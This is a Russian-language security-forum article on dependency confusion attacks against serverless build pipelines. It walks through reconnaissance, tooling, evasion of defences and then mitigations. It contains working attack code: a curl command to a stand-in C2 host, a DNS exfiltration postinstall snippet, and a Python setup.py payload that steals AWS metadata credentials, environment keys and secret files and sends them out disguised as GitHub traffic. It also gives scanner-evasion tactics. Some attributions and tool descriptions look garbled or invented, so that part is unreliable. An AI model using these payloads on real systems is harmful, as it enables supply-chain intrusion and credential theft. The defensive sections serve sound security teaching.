Статья Атаки на Serverless через Dependency Confusion

1769023806275.webp


Ты зашел в этот тихий, пыльный уголок сети не просто так. Не за постами о «революции digital transformation» и не за очередным туториалом, как за пять минут поднять «Hello World» на Lambda. Ты пришел сюда, потому что давно чувствуешь под лощеной обложкой литературы по облакам зияющую, холодную пустоту. Тот самый разрыв между тем, что говорят на конференциях, и тем, что происходит на самом деле, когда в три часа ночи приходит алерт о странных исходящих соединениях из твоей «безопасной и изолированной» функции.

Давай начистоту. Ты уже слышал эту мантру, правда? «Забудь об инфраструктуре!», «Пиши только бизнес-логику!», «Serverless - это scaling to zero и безоперационное bliss!». Звучит как утопия. Звучит так, будто можно наконец-то отвлечься от этих надоедливых деталей вроде патчинга ОС, настройки брандмауэров и мониторинга нагрузки. Мир, в котором есть только твой прекрасный, элегантный код и магическое облако, которое делает всё остальное.

А теперь давай приглушим свет и посмотрим на изнанку этой магии. Тот самый момент, когда волшебник, улыбаясь, отворачивается, чтобы достать из-под стола грязный, замызганный рычаг и шкив. Бессерверность - это гениальная маркетинговая абстракция. Но абстракция не устраняет сложность, она лишь переупаковывает ее. Она не убирает риск, она смещает его. И самое опасное в этом смещении то, что точки риска теперь прячутся там, куда взгляд уставшего девопса или занятого бизнес-требованиями разработчика уже не падает. Они прячутся в самых, казалось бы, невинных и рутинных вещах. В том, что мы делаем десятки раз в день, не задумываясь. В команде, которую свято чтит каждый:


Bash:
npm install
pip install -r requirements.txt
go get
mvn install

Зависимости.

Сердце современной разработки. Кровь, позволяющая нам не изобретать велосипеды, а строить космические корабли, стоя на плечах гигантского, миллионноголового сообщества. Мы доверяем этому процессу. Мы доверяем экосистемам - npm, PyPI, Maven Central, NuGet. Мы доверяем тому, что пакет с именем left-pad - это и есть тот самый left-pad. Что boto3 - это именно AWS SDK для Python от Amazon. Что за названием и версией стоит ожидаемый, предсказуемый, безопасный код.

А что, если это не так? Что, если в этой цепочке доверия, в самом механизме разрешения «чего мне установить?», заложен фундаментальный изъян? Изъян, которым люди пользуются с тех пор, как появились первые репозитории? И что, если в контексте этой новой, блестящей «бессерверной» парадигмы этот старый изъян обретает невиданную доселе разрушительную силу?

Это и есть Dependency Confusion (Подмена/Путаница Зависимостей). Не новая уязвимость нулевого дня в ядре Linux. Не сложный эксплойт для хитрого RCE. Это атака на процесс. На самую скучную, автоматизированную, доверенную часть пайплайна. Её суть можно уместить в одно предложение: заставить систему сборки установить ваш вредоносный пакет из публичного репозитория вместо легитимного пакета с тем же именем из внутреннего, приватного источника.

Представь себе такую картину. В недрах компании «МegaCloudCorp» есть внутренняя библиотека для шифрования платежных данных. Она называется mc-secure-vault. Её исходники закрыты, она хранится на внутреннем сервере Artifactory/Nexus/GitHub Packages и используется в десятках критичных Lambda-функций, обрабатывающих транзакции. В package.json каждой такой функции красуется строка: "mc-secure-vault": "^1.2.0". Система сборки в CI/CD (скажем, GitHub Actions) видит это. Она ищет пакет. Сначала она заглядывает во внутренний репозиторий. Находит версию 1.2.0. И… стоп.

А если она настроена неидеально? Если в конфиге .npmrc или в командах сборки по историческим причинам или «для удобства» указан не только внутренний источник, но и публичный registry.npmjs.org в качестве fallback? Или если внутренний репозиторий на момент сборки лежит? Или если версия указана как latest? А теперь главный вопрос: что, если я, злоумышленник, заранее, за месяц до этого, зарегистрировал на публичном npm пакет с именем mc-secure-vault и выложил там версию 1.3.0?

Система разрешения зависимостей, следуя своим правилам (которые часто отдают приоритет «более новой» версии или «более приоритетному», то есть публичному, источнику), может спокойно сказать: «О, отлично! Есть новая версия 1.3.0 на npm! Установлю-ка я её». И вместо внутреннего, проверенного кода, в артефакт твоей Lambda, которая вот-вот получит доступ к реальным деньгам, попадает мой код. Код, который в postinstall-скрипте тихо вышлет мне IAM-ключи сборщика, или внедрит backdoor прямо в тело твоей функции, или начнет логировать и пересылать все входящие event-ы с платежными данными.

И для этого мне не нужен доступ к твоему коду. Не нужно искать XSS в API Gateway. Не нужно взламывать пароли. Мне нужно только знать имя твоего внутреннего пакета. А это, брат, зачастую лежит в открытом доступе: в публичных зеркалах Git-репозиториев, в случайно закоммиченных конфигах, в обрывках логов на форумах поддержки, в джобах на Travis CI (когда он еще был публичным). Это информация, которая утекает сама по себе, в процессе нормальной работы.

А теперь приправь это serverless-спецификой:
  1. Автоматизм и скорость. Сборки и деплои происходят десятки раз в день. Человек в петлю не смотрит. Заложенная «мина» сработает быстро и распространится моментально.
  2. Эфемерность. Функция живет миллисекунды. Нет файловой системы, нет запущенных процессов для forensic-анализа. Если backdoor работает аккуратно, его следы испаряются вместе с инстансом.
  3. Высокие привилегии. Lambda-функции по умолчанию работают под IAM-ролью. Скомпрометировав одну функцию со слабой ролью, можно начать движение по облачному аккаунту (lateral movement). А скомпрометировав сборку, можно заразить сразу все функции, использующие зависимость.
  4. Иллюзия безопасности. «Мы в облаке, за нас всё делает AWS/Azure/GCP». Это мышление - лучший друг атакующего. Оно расслабляет. Заставляет забыть, что ответственность за безопасность кода и зависимостей (Shared Responsibility Model) по-прежнему лежит на тебе.
И вот мы здесь. Сидим у костра, сложенного из счетов за CloudWatch Logs, выписанных за поиск аномалий, и из сгоревших нервов инженеров, которые неделями не могли понять, откуда утекают данные. Этот костер - наша реальность. Реальность, в которой маркетинговая абстракция столкнулась с суровой кибернетической действительностью.

Цель этой статьи - не напугать. Страх - плохой советчик. Цель - вооружить пониманием. Разобрать эту атаку до самых основ, до байтов в конфиг-файлах менеджера пакетов. Посмотреть на нее с обеих сторон баррикад: и как атакующий, для которого это возможность (и мы честно разберем инструменты и тактики), и как защитник, для которого это вызов (и мы так же честно поговорим о настоящих, работающих мерах защиты, а не о галочках в чек-листах).

Если ты готов отложить в сторону сияющие презентации и погрузиться в механику, в гайки и шестеренки, если ты хочешь не просто знать, что Dependency Confusion существует, а понимать, как именно она работает в мире serverless, как её искать, как её проверить и как от неё защититься - ты по адресу.

Мы идем вглубь.


Глава 1. Dependency Confusion 101: Старая песня на новый serverless лад

Корни зла: Что это вообще такое?

Понятие Dependency Confusion громко прозвучало в 2021 году благодаря исследователю Алексею Орленди (Alexei "codesandbox" Orlando?). Но идея, брат, стара как мир. Еще когда древние sysadmins качали tar.gz с ftp.gnu.org, существовал риск MITM. Современная же атака - это эксплуатация приоритета репозиториев.

Представь себе типичную конфигурацию менеджера пакетов, скажем, pip для Python:

Bash:
pip install my-super-private-package

Где он будет искать этот пакет? Он пройдется по списку index-url из конфига pip.conf или ~/.pip/pip.conf. Типичный конфиг в корпоративной среде:

Код:
[global]
index-url = https://pypi.company.local/simple
extra-index-url = https://pypi.org/simple

Видишь ловушку? Сначала он проверит внутренний pypi.company.local. Если пакета my-super-private-package там нет - он полезет в публичный pypi.org. А что, если мы, злоумышленники, заранее загрузим на pypi.org пакет с именем my-super-private-package? Верно. Он установится. И наш код выполнится в процессе сборки.

Serverless-специфика: В serverless-функциях часто используется подход «зависимости пакуются вместе с кодом». То есть ты заливаешь в Lambda не просто function.py, а целый ZIP-архив с виртуальным окружением. Этот архив создается в процессе CI/CD (GitHub Actions, GitLab CI, Jenkins). И вот эта точка сборки - наш главный вход.

Почему Serverless - идеальная мишень?

  1. Эфемерность и автоматизация. Функции живут миллисекунды. Их создают и уничтожают тысячи. Никто не подключается к ним по SSH, не проверяет ps aux. Если на этапе сборки влезла малварь - она будет тихо выполняться при каждом запуске. Forever.
  2. Культура «быстрой разработки». npm install, pip install, go get - это священные ритуалы. Кто читает все node_modules? В serverless-проектах зависимости часто обновляются автоматически (dependabot). Шум минимален.
  3. Сложность мониторинга. Как отличить легитимный вызов os.system в твоей библиотеке для обработки изображений от такого же вызова в подмененной зависимости? В мире контейнеров есть образы, сканеры уязвимостей. В мире serverless-архивов с зависимостями - часто темный лес.
  4. Доступ к метаданным и секретам. Serverless-функции по умолчанию имеют привязку к IAM-ролям облачного провайдера. Троянская зависимость, выполнившись в среде сборки или рантайма, может украсть AWS-ключи из метаданных, получить доступ к S3, DynamoDB, и другим сервисам. Это не просто «украсть код», это полный компромат облачного аккаунта.

Типичный сценарий атаки (по шагам)

  1. Разведка: Наша цель - компания, активно использующая AWS Lambda. Мы ищем в открытых репозиториях GitHub, GitLab их код. Нас интересуют файлы: package.json, requirements.txt, go.mod, pom.xml, *.csproj. Ищем имена пакетов, которые выглядят как внутренние:
    • @company/ui-components
    • company-auth-lib
    • internal-*
    • proprietary-*
    • Или просто странные имена, которых нет в публичных репозиториях.
  2. Верификация: Проверяем, существует ли такой пакет в публичном npm/PyPI. Если нет - отлично. Если да - смотрим его версию. Может, внутренняя версия новее?
  3. Создание «трояна»: Мы создаем пакет с точно таким же именем, но с более высокой версией (семантическое версионирование - наш друг). Например, внутренняя версия 1.0.0 - мы публикуем 1.0.1, 1.1.0 или даже 2.0.0. Внутри пакета - полезная нагрузка (payload).
  4. Публикация: Загружаем наш пакет в публичный репозиторий. Иногда для правдопобности копируем README и код из реального (если он был) пакета, добавляя свой код в postinstall, preinstall (npm) или setup.py (PyPI).
  5. Ожидание и триггер: Мы ждем. CI/CD системы целевой компании рано или поздно запустят сборку. Это может быть:
    • Плановый деплой.
    • Сборка feature-ветки.
    • Запуск тестов.
    • Автоматическое обновление зависимостей.
      Как только система увидит, что есть новая версия пакета в публичном репо (который в конфиге стоит как extra-index-url или fallback), она установит ее.
  6. Выполнение полезной нагрузки (Payload):
    • На этапе сборки: Payload может выкрасть секреты сборки (API-ключи, токены доступа к приватным репозиториям, cloud credentials), отправить их на наш контролируемый сервер. Может модифицировать итоговый артефакт (ZIP-архив функции), внедрив backdoor прямо в рантайм-код.
    • На этапе выполнения функции: Если нам удалось протолкнуть пакет в финальный артефакт, payload может активироваться каждый раз при запуске Lambda. Он будет воровать данные, которые функция обрабатывает, пытаться эскалировать привилегии через метаданные, или просто звонить домой, сообщая о своей успешной инфильтрации.

Глава 2. Практикум: Инструменты для охоты и атаки

ВНИМАНИЕ: Инструменты описаны в образовательных целях. Используй их только в рамках законного пентеста на системы, на которые у тебя есть явное письменное разрешение. Не будь скотом.

Инструмент №1: Ручная разведка и скриптинг на Python/Bash

Иногда лучший инструмент - это твой мозг и пара строчек кода. Давай напишем простой сканер для GitHub.

Цель: Найти в публичных репозиториях компании target-corp упоминания package.json с подозрительными именами.

Скрипт на коленке (Python с requests):

Python:
import requests
import re
import json

GITHUB_API_URL = "https://api.github.com"
SEARCH_TERM = "org:target-corp filename:package.json"
HEADERS = {"Accept": "application/vnd.github.v3+json"}

def search_github_code():
    url = f"{GITHUB_API_URL}/search/code"
    params = {"q": SEARCH_TERM}
    response = requests.get(url, headers=HEADERS, params=params)
    if response.status_code == 200:
        return response.json()["items"]
    else:
        print(f"Error: {response.status_code}")
        return []

def extract_packages_from_content(content_url):
    # GitHub API возвращает content в base64
    import base64
    response = requests.get(content_url, headers=HEADERS)
    if response.status_code == 200:
        content_b64 = response.json()["content"]
        content = base64.b64decode(content_b64).decode('utf-8')
        try:
            package_data = json.loads(content)
            deps = {**package_data.get("dependencies", {}), **package_data.get("devDependencies", {})}
            return list(deps.keys())
        except json.JSONDecodeError:
            return []
    return []

def main():
    repos = search_github_code()
    all_packages = set()
    for repo in repos[:10]:  # Ограничимся 10 репо для примера
        print(f"[*] Scanning {repo['repository']['full_name']}")
        packages = extract_packages_from_content(repo['url'])
        for pkg in packages:
            # Ищем подозрительные имена
            if any(keyword in pkg.lower() for keyword in ['internal', 'private', 'proprietary', 'company', 'corp', 'prod', 'stage']):
                print(f"    [!] SUSPECT: {pkg}")
                all_packages.add(pkg)
    print(f"\n[*] Total unique suspect packages: {len(all_packages)}")
    for p in all_packages:
        print(f"  - {p}")

if __name__ == "__main__":
    main()

Что он делает? Лезет в GitHub API, ищет файлы package.json в организации target-corp, выкачивает их и парсит имена зависимостей. Ищет по ключевым словам. Примитивно, но работает как первый фильтр.

Инструмент №2: dependency-confusion от evilarc (и другие автоматические фреймворки)

Перейдем к тяжелой артиллерии. Есть отличный инструмент, который автоматизирует многое из описанного.

Установка и настройка:

Bash:
git clone https://github.com/evilarc/dependency-confusion.git
cd dependency-confusion
pip install -r requirements.txt

Конфигурация: Основная сила - в конфиг-файле. Создаешь config.yaml:

YAML:
targets:
  - type: npm
    internal_repo_url: "https://npm.target-corp.local"
    public_repo_url: "https://registry.npmjs.org"
    packages:
      - "internal-utils"
      - "@target/ui-kit"
  - type: pypi
    internal_repo_url: "https://pypi.target-corp.local/simple"
    public_repo_url: "https://pypi.org"
    packages:
      - "proprietary_ml"

Запуск: Скрипт проверит, какие пакеты из списка есть во внутреннем репо, но отсутствуют в публичном. Для найденных - автоматически сгенерирует и загрузит в публичный репозиторий пакет-оболочку с payload.

Bash:
python3 dependency_confusion.py -c config.yaml --upload --payload "curl https://my-c2-server.com/$(whoami)"

Важно: Для загрузки в npm/PyPI нужны будут учетные записи (токены). Это отдельная задача - создание легитимных-looking аккаунтов, чтобы не быть быстро забаненным.

Что внутри payload? В классическом случае payload старается быть незаметным: отправляет HTTP-запрос или DNS-запрос (для обхода сетевых фильтров) на твой сервер, «сообщая» об успешной установке. В запросе могут быть данные: имя хоста, имя пользователя, переменные окружения (env), кусочек файловой системы.

Пример DNS-экфильтрации (Bash payload):

Bash:
# Внутри postinstall скрипта npm-пакета
DOMAIN="exfil.attacker.com"
# Отправляем имя хоста
HOST=$(hostname | base64 | tr -d '\n')
curl -s "http://$DOMAIN/$HOST" || dig `echo $HOST`.$DOMAIN

Инструмент №3: ppmap - монстр для сканирования Serverless окружений

Этот инструмент уже не про Dependency Confusion напрямую, а про общую разведку serverless-окружения. Но он бесценен для понимания контекста.

Что умеет ppmap (Portswigger's Serverless Tool)?
  • Сканирует AWS аккаунт (при наличии creds) на наличие Lambda функций, их конфигурации (переменные окружения, роли IAM, триггеры).
  • Проверяет функции на типичные уязвимости: секреты в env-переменных, излишне разрешительные IAM-роли, уязвимые зависимости (через интеграцию с npm audit и т.п.).
  • Может де-компилировать и анализировать загруженный код Lambda прямо из облака.
Как это связано? Найдя через ppmap Lambda-функцию с кучей зависимостей и мощной IAM-ролью, ты понимаешь - это идеальная цель для Dependency Confusion. Ты можешь специально искать в коде этой функции ссылки на внутренние пакеты, чтобы затем сфокусировать на них атаку.

Базовый запуск:

Bash:
java -jar ppmap.jar -a AWS_ACCESS_KEY -s AWS_SECRET_KEY -r us-east-1
Он начнет перечислять функции, вытаскивать их политики. Смотришь на вывод: «Ага, функция ProcessPayment имеет роль, позволяющую читать из секретницы KMS». Цель определена. Теперь ищешь исходный код этой функции (часто он же в Git). Ищешь requirements.txt - находишь company-payment-encryption. Бинго. Цель для подмены.

1769023833129.webp


Инструмент №4: Своя «тихая» полезная нагрузка на Python

Стандартные curl и dig могут быть заблокированы или залогированы. Нужно что-то более изощренное для продакшн-среды. Пишем свой мини-backdoor.

payload.py для PyPI-пакета (в setup.py):

Python:
import sys, os, json, urllib.request, urllib.parse, hashlib, subprocess, tempfile, base64

def exfil(data):
    # Используем безобидный на вид сервис, например, pastebin или webhook.site
    # Или даже публичный API, куда можно встроить данные как параметр
    try:
        encoded = base64.urlsafe_b64encode(json.dumps(data).encode()).decode()
        # Маскируем под запрос к популярному сайту
        req = urllib.request.Request(
            f"https://api.github.com/users/dummy?cache={encoded}", # Несуществующий эндпоинт, но домен легитимный
            headers={'User-Agent': 'Mozilla/5.0'}
        )
        urllib.request.urlopen(req, timeout=2)
    except Exception:
        pass # Молча игнорируем все ошибки

def run():
    # Собираем информацию
    info = {
        "cwd": os.getcwd(),
        "user": os.getenv("USER"),
        "env_keys": list(os.environ.keys()), # Выборочно
        "aws_meta": None
    }
    
    # Пробуем достать AWS метаданные (если мы в облаке)
    try:
        req = urllib.request.Request("http://169.254.169.254/latest/meta-data/iam/security-credentials/", timeout=1)
        role_name = urllib.request.urlopen(req).read().decode()
        req = urllib.request.Request(f"http://169.254.169.254/latest/meta-data/iam/security-credentials/{role_name}", timeout=1)
        info["aws_meta"] = json.loads(urllib.request.urlopen(req).read())
    except:
        pass
    
    # Пробуем найти интересные файлы
    try:
        for root, dirs, files in os.walk(".", topdown=True):
            for file in files:
                if file.endswith(('.env', 'config.json', 'credentials')):
                    path = os.path.join(root, file)
                    try:
                        with open(path, 'r') as f:
                            info[f"file_{file}"] = f.read()[:500] # Читаем первые 500 символов
                    except:
                        pass
    except:
        pass
    
    # Отправляем
    exfil(info)

# Запускаем только при установке, а не при импорте
if __name__ == "__main__" and os.getenv("DEPLOYMENT_PHASE") != "runtime":
    run()

А в setup.py добавляем:

Python:
from setuptools import setup
from payload import run

# Запускаем payload при установке
run()

setup(
    name="proprietary_ml",
    version="1.1.0",
    author="Dummy",
    install_requires=["requests"], # Даже легитимная зависимость для вида
)

Эта нагрузка пытается быть осторожной: проверяет переменную окружения DEPLOYMENT_PHASE, чтобы не срабатывать в рантайме (если мы этого не хотим), шлет данные, маскируясь под легитимный трафик к api.github.com. Это не идеально, но уже уровень выше curl.


Глава 3. Обход защит и искусство маскировки

Корпораты не спят. После нашумевших кейсов многие внедрили базовые защиты. Давай пройдемся по ним и подумаем, как жить дальше.

Защита 1: Scoped Packages (npm) и Private Namespace (PyPI)

  • Что это: В npm используют @company-name/ как префикс (scope). Внутренний репозиторий (Artifactory, GitHub Packages) настраивается так, что запросы к @company-name/* идут только к нему, а не в публичный npm.
  • Обход: Не всегда используется. Иногда старые пакеты без scope. Иногда разработчики по ошибке публикуют scoped-пакет в публичный репо - и он там остается. Всегда есть шанс. Также можно искать пакеты с названиями типа company-name-auth (без собачки).

Защита 2: Строгий pip.conf/.npmrc без extra-index-url

  • Что это: В CI/CD настройках явно указывается только внутренний репозиторий. Публичный отключен или доступен только через прокси, который блокирует загрузку пакетов с именами внутренних.
  • Обход:
    1. Социальная инженерия: Если разработчик локально копирует проект и пытается собрать - у него может быть настроен публичный репозиторий. Его локальная сборка скомпрометирована и может заразить CI (например, если он пушит package-lock.json с resolved-ссылкой на наш вредоносный пакет? Нужно проверять).
    2. Атака на прокси/зеркало: Иногда публичный репозиторий зеркалируется внутрь периметра. Если мы загрузим пакет в публичный ДО того, как зеркало синхронизируется, есть шанс, что наш пакет попадет внутрь.
    3. Подмена внутреннего репозитория: Если мы получили доступ к сети (например, через фишинг или другую уязвимость), мы можем попытаться подменить DNS или конфигурацию, указав extra-index-url на наш сервер.

Защита 3: Hash-проверки (npm package-lock.json, pip hashin)

  • Что это: Менеджеры пакетов могут проверять целостность скачанных пакетов по криптографическим хешам (SHA-256, SHA-512). Если хеш пакета не совпадает с записанным в lock-файле - установка прерывается.
  • Обход: Это серьезная защита. Но она работает только если lock-файл (package-lock.json, pipfile.lock, yarn.lock) всегда актуален и используется в CI. Часто в CI пишут просто npm install без --frozen-lockfile. Часто lock-файлы не коммитят для библиотек (only for apps). Наша тактика - искать проекты без lock-файлов или с устаревшими. Также можно атаковать процесс обновления зависимостей (npm update, dependabot), который как раз создает новый lock-файл с нашим пакетом.

Защита 4: SAST/SCA сканеры в CI/CD

  • Что это: Инструменты типа Snyk, WhiteSource, GitLab Dependency Scanning анализируют package.json на предмет известных уязвимостей. Они могут детектировать пакеты с подозрительными именами (совпадающими с внутренними), но из публичного репо.
  • Обход:
    1. Маскировка под легитимный пакет: Берем имя какого-нибудь популярного, но малоиспользуемого пакета с публичного репо и пытаемся подсунуть свою версию (это сложнее, но возможно при компрометации аккаунта maintainer).
    2. Тихая полезная нагрузка: Payload, который не делает ничего явно вредного при сканировании (не качает бинарники, не запускает shell-команды напрямую в postinstall). Вместо этого он добавляет уязвимость в исходный код (например, создает eval() из данных сети), которая активируется уже в рантайме. SAST-сканер может это и не поймать.
    3. Стучаться не сразу: Payload активируется не при установке, а через N дней или при наступлении условия (определенная дата, наличие файла и т.д.).
Вывод по этой главе: Защиты есть, но они фрагментарны. Наша сила - в понимании всего пайплайна: от локальной машины разработчика до production-функции. Атака возможна в самом слабом звене.


Глава 4. Deep Dive: Serverless-специфика и продвинутые техники

Давай теперь прицельно посмотрим, чем атака на serverless отличается от классической.

Вектор 1: Атака на слой (Layer) зависимостей

AWS Lambda и аналоги имеют концепцию Layers - отдельно управляемые ZIP-архивы с библиотеками/кодом, которые можно подключить к множеству функций. Это золотая жила.
  • Как работает: Компания создает внутренний слой company-data-layer с общими утилитами. Сотни функций на него ссылаются.
  • Атака: Если мы скомпрометируем процесс сборки этого слоя (через Dependency Confusion в его requirements.txt), мы заразим все функции, использующие этот слой, разом. Масштаб катастрофы увеличивается на порядки.
  • Разведка: В AWS CLI можно (при наличии прав) посмотреть список слоев: aws lambda list-layers. Изучить их конфигурацию.

Вектор 2: Использование Runtime API и расширений Lambda

Современные Lambda позволяют использовать Extensions - процессы, работающие параллельно с функцией. Они могут, например, логировать, мониторить.
  • Атака: Вместо подмены зависимости основной функции, можно попытаться внедрить вредоносное расширение. Оно будет жить дольше самой функции (есть Shutdown phase) и иметь доступ к тем же данным.
  • Как: Если в проекте используют кастомные расширения, они тоже где-то собираются. Ищется их package.json/requirements.txt.

Вектор 3: Компрометация контейнерных образов для Lambda

Lambda теперь поддерживает развертывание через контейнерные образы (до 10 GB). Внутри такого образа - полноценная ОС со своими менеджерами пакетов (apt, apk).
  • Атака расширяется: Теперь мы ищем не только pip install, но и apt-get install в Dockerfile. Можно попробовать подменить пакет в публичном APT-репозитории? Сложно, но возможно через компрометацию зеркала или подмену исходного кода пакета на GitHub (атака на цепочку поставок).
  • Инструмент: dive или trivy для анализа собранных образов на предмет подозрительных пакетов. Но нам нужна точка атаки - Dockerfile в репозитории.

Вектор 4: Атака через environment variables и секреты

Часто в serverless-функциях секреты (API-ключи, пароли БД) передаются через переменные окружения. Payload из подмененной зависимости может их украсть.
  • Особенность: В Lambda эти переменные задаются на этапе конфигурации функции, а не сборки. Но payload, работающий в рантайме, имеет к ним доступ. Более того, если функция имеет привязку к Vault или Secret Manager, payload может использовать IAM-роль функции для чтения еще большего количества секретов.
Практический пример продвинутой атаки:
  1. Через Dependency Confusion в CI/CD мы подменяем пакет, используемый при сборке Lambda Layer.
  2. Payload при сборке:
    • Крадет IAM-ключи сборщика (CodeBuild, GitHub Actions Runner).
    • Модифицирует код слоя, добавляя backdoor, который при запуске любой функции будет считывать event (входные данные) и отсылать их на наш сервер, замаскировав под легитимные CloudWatch Logs.
    • Самоуничтожается (удаляет следы из временных файлов сборки).
  3. Слой обновляется и деплоится в продакшен.
  4. Мы получаем данные из сотен функций, обрабатывающих платежи, персональные данные и т.д.
  5. Profit. Или обнаружение через аномальный трафик, если не были достаточно осторожны.

Глава 5. Защита: Строим крепость, зная методы осады

Если ты дочитал до сюда, ты уже не будешь строить serverless-приложения как раньше. Давай перейдем на сторону защиты. Это не скучно. Это высший пилотаж - проектировать системы, которые выстоят.

Принцип 0: Признать проблему

Перестать думать, что «serverless - это просто». Это сложная распределенная система, где проблема цепочки поставок (supply chain) выходит на первый план.

Принцип 1: Изоляция репозиториев

  • Никаких extra-index-url или fallback registry в продакшене. CI/CD должен указывать только на внутренний, проксирующий репозиторий (Artifactory, Nexus, GitHub Packages).
  • Прокси-репозиторий должен блокировать загрузку пакетов, имена которых зарезервированы за внутренними. В том же Artifactory это настраивается правилами (block policy).
  • Использовать scoped packages (@mycompany/) везде, где возможно. Настроить репозиторий так, что запросы за scope @mycompany никогда не уходят наружу.

Принцип 2: Жесткие lock-файлы и воспроизводимые сборки

  • package-lock.json, yarn.lock, Pipfile.lock, Cargo.lock - должны быть в репозитории. Это закон.
  • В CI/CD использовать установку только по lock-файлу:

    Bash:
    npm ci --only=production  # вместо npm install
    pip install --require-hashes -r requirements.txt  # если используете pip с хешами

  • Регулярно обновлять зависимости через npm audit/dependabot/renovate в контролируемом процессе, который включает ревью изменений в lock-файле. Смотреть, откуда пришел новый пакет.

Принцип 3: Сканирование всего и вся

  • SAST/SCA сканеры в CI/CD - обязательно. Но не как галочка, а с правилами, которые блокируют сборку при обнаружении:
    • Пакета из публичного репо с именем, похожим на внутренний (можно вести white/black list).
    • Пакета с известными уязвимостями высокого риска.
    • Подозрительных скриптов (postinstall, preinstall).
  • Сканирование итоговых артефактов: Перед деплоем Lambda-архива или образа запускать trivy или grype на него, чтобы найти внедренные уязвимости.
  • Runtime защита: Инструменты вроде falco или облачные решения (AWS GuardDuty, Azure Defender), которые могут детектировать аномальное поведение функции (исходящие подключения к неизвестным доменам, попытки доступа к метаданным из неожиданного контекста).

Принцип 4: Минимальные привилегии (Principle of Least Privilege)

  • IAM-роли для Lambda - должны быть гиперограниченными. Не AmazonS3FullAccess, а конкретная политика, разрешающая GetObject только для нужного bucket и prefix.
  • Роли для CI/CD систем (CodeBuild, GitHub Actions) - тоже. Они не должны иметь прав на деплой в продакшен без дополнительных approval. Их права на чтение из внутреннего репозитория - только чтение.
  • Секреты - не в environment variables напрямую. Использовать AWS Secrets Manager, Parameter Store с автоматической ротацией. Функция получает доступ через свою IAM-роль.

Принцип 5: Проактивный хакинг себя (Red Team)

  • Проводи dependency confusion тесты против своей инфраструктуры. Создай внутренний пакет-приманку с уникальным именем (например, test-dependency-confusion-2025). Попробуй загрузить его в публичный npm/PyPI. Запусти сборку в тестовом окружении. Сработала ли блокировка? Пришел ли алерт? Это лучший тест.
  • Аудит исходного кода зависимостей. Для критических пакетов (аутентификация, шифрование, обработка платежей) можно задуматься о вендоринге (копировании кода в репозиторий) или глубоком аудите.

1769023887127.webp


Подытожим

От простой, почти наивной идеи «а что если подменить пакет?» до сложного, многоуровневого понимания того, как эта вековая уязвимость процесса перерождается в цифрового хищника, идеально адаптированного к экосистеме serverless. Мы разобрали инструменты, тактики, векторы, защиты. Но если остановиться на этом, мы совершим ту же ошибку, что и те, кто воспринимает Dependency Confusion как «еще один баг, который нужно пофиксить». Это не баг. Это симптом. Симптом гораздо более глубокого и тревожного сдвига в самой парадигме того, как мы создаем программное обеспечение сегодня.

Именно этому сдвигу, его последствиям и тому, что нам, как сообществу людей, которые понимают как строить, так и ломать, с этим делать, и посвящена эта финальная глава. Это не выводы в стиле «будьте осторожны». Это попытка выйти на уровень мета-анализа, сохраняя при этом наши принципы: техническую честность, прямую речь и солидарность с тем, кто в окопах - будь то атакующий, защитник или просто разработчик, пытающийся сделать свою работу.

Почему Dependency Confusion - это не «уязвимость», а «системный сбой в матрице доверия»

Давай на секунду отвлечемся от кода. Посмотрим на корень. Вся современная разработка построена на доверии. Мы доверяем, что Linus Torvalds и сообщество не заложат бэкдор в ядро Linux. Мы доверяем, что авторы OpenSSL не совершат критическую ошибку (хотя Heartbleed напомнил, что это возможно). Мы доверяем, что пакет в репозитории - это именно то, что заявлено.

Dependency Confusion - это атака не на код, а на систему именования и разрешения идентификаторов в условиях распределенного, неиерархического доверия. Это проблема протокола. Как в старые добрые времена, когда можно было отправить письмо с поддельным обратным адресом. NPM, PyPI, Maven - это, по сути, гигантские, открытые телефонные книги. Любой может зарегистрировать имя. И изначальное допущение было таким: имена будут уникальными и привязанными к автору. Проблема в том, что внутри корпоративных периметров возникли свои, изолированные телефонные книги (приватные репозитории) с теми же именами, но другими номерами (кодом). А механизм «разрешения», который решает, по какой книге искать номер, оказался хрупким и конфигурируемым.

Serverless-архитектура довела этот парадокс до абсолюта. Она сделала процесс установки зависимостей абстрактным, невидимым и максимально автоматизированным. Разработчик в своем package.json пишет "internal-lib": "^1.0.0". Он мысленно обращается к внутренней библиотеке. Но для машины, для CI/CD-пайплайна, эта строка - просто строка. У него нет контекста. Нет понимания, что internal-lib - это священная корова компании. Есть только правила разрешения, прописанные в .npmrc и скриптах сборки. И если эти правила допускают двусмысленность - система падет. Не из-за злого умысла, а из-за семантического разрыва между намерением человека и буквализмом машины.

Таким образом, когда мы эксплуатируем Dependency Confusion, мы не просто «взламываем». Мы демонстрируем этот разрыв. Мы показываем, что абстракция «просто добавь зависимость» треснула по швам, потому что под ней скрывается сложный, хрупкий мир политик репозиториев, конфигураций и слепого доверия к внешним системам.

Заключение: Новая осознанность

Исходная мантра serverless - «забудь об инфраструктуре» - оказалась опасной иллюзией. Мы не можем забыть. Мы должны помнить по-другому. Не помнить каждый сервер и свитч, а помнить о принципах: о доверии, об идентификации, о целостности, о минимальных привилегиях. Мы должны перенести наше внимание с физической инфраструктуры на инфраструктуру доверия - на граф зависимостей, на конфигурации репозиториев, на пайплайны сборки.

Dependency Confusion стала нашим резким, но необходимым учителем. Она показала, что в мире, где мы строим системы из кирпичиков, написанных незнакомцами, безопасность - это не про стены и замки. Это про умение проверять каждый кирпич, понимать, кто и где его сделал, и иметь план на случай, если он начнет рассыпаться.

Брат, наше путешествие подходит к концу. Ты теперь знаешь механику атаки досконально. У тебя есть инструменты для разведки и атаки. Но, что гораздо важнее, у тебя теперь есть контекст. Ты видишь не просто уязвимость, ты видишь симптом эпохи. И с этим знанием ты можешь делать выбор. Можешь использовать его, чтобы стать более опасным противником. Или - чтобы стать более мудрым защитником. А может, и тем, и другим, в зависимости от дня и договоренностей.

Какой бы путь ты ни выбрал, помни главное: в мире, который стремится к простоте через сложность, твоя осведомленность - последний рубеж обороны и первое условие наступления.

Оставайся параноиком. Оставайся любопытным. Собирай свои инструменты, проверяй свои конфиги, думай на два шага вперед.

И да пребудет с тобой не слепая вера в абстракции, а ясное, холодное, хакерское понимание того, как все работает на самом деле.
 
Мы в соцсетях:

Взломай свой первый сервер и прокачай скилл — Начни игру на HackerLab